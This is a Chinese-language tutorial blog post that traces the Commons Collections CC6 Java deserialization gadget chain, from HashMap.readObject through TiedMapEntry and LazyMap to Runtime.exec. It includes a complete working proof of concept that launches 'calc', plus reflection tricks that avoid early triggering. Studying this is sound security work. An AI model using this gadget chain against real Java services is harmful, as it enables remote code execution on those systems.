引子
上篇文章带大家学习了CC1链,今天来带领大家跟一下CC6链
先上POC
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
TiedMapEntry
TiedMapEntry接收一个map类的值 一个key,我们看看里面的hashcode()函数。
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
跟到getvalue()中 可以看到map.get 我们只需要将map值传LazyMap即可触LazyMap.get()。
构造链子
然后就和CC1和后半部分差不多了。
现在我们就要看看,哪里能触发hashcode();
根据URLDNS链,我们可以联想HashMap的readObject方法中调用了hash(key),而hash方法又调用了key.hashCode()。所以只需要让这个key等于TiedMapEntry对象即可。
hash:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
大体是这个样子的
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<Object, Object>();
//置空 防止序列化时调用
Map<Object,Object> lazyMap=LazyMap.decorate(map,new ConstantTransformer(1));
调用hashcode的话就是通过put给key赋值TiedMapEntry
。
我们拿到了一个恶意的LazyMap对象lazyMap
,将其作为TiedMapEntry的map属性传入
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
调用TiedMapEntry的hashCode()方法,我们需要将tiedMapEntry
作为HashMap的key属性传入
Map expMap = new HashMap();
expMap.put(tiedMapEntry,"valuevalue");
实验时会发现有一些问题的出现
hashMap.put(tiedMapEntry,"XINO");
走到这里的时候,就会进行命令执行了,我们并没有反序列化。这是因为在构造时就出现了命令执行,我们可以通过反射进行修改。在序列化之前用一个没影响的Transformer[]
,也就是fakeTransformers
,最后再改回来 。
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"XIN");
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry,"XINO");
Class clazz = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers);
byte[] bytes = serialize(hashMap);
unserialize(bytes);
第二个问题,修改完发现还是运行不了,这里还是下面的问题。
hashMap.put(tiedMapEntry,"XINO");
hashMap
的put()
方法里也调用了hash()
函数,相当于把整个漏洞触发的过程提前触发了一遍 返回的value
是1,然后调用了map.put("XIN",1)
,把这个键给添加进去了,导致反序列化的时候没法触发漏洞。
outerMap.remove("XIN");
完整的
POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections6 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "XIN");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"XINO");
lazyMap.remove("XIN");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
// serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
结语
相比于CC1链,这个链子还是比较好跟的多少有点跟过的链子的影子(比如CC5),不过还是需要用心学习一下。里面还是有很多不太好懂的点的。欢迎大家点赞交流。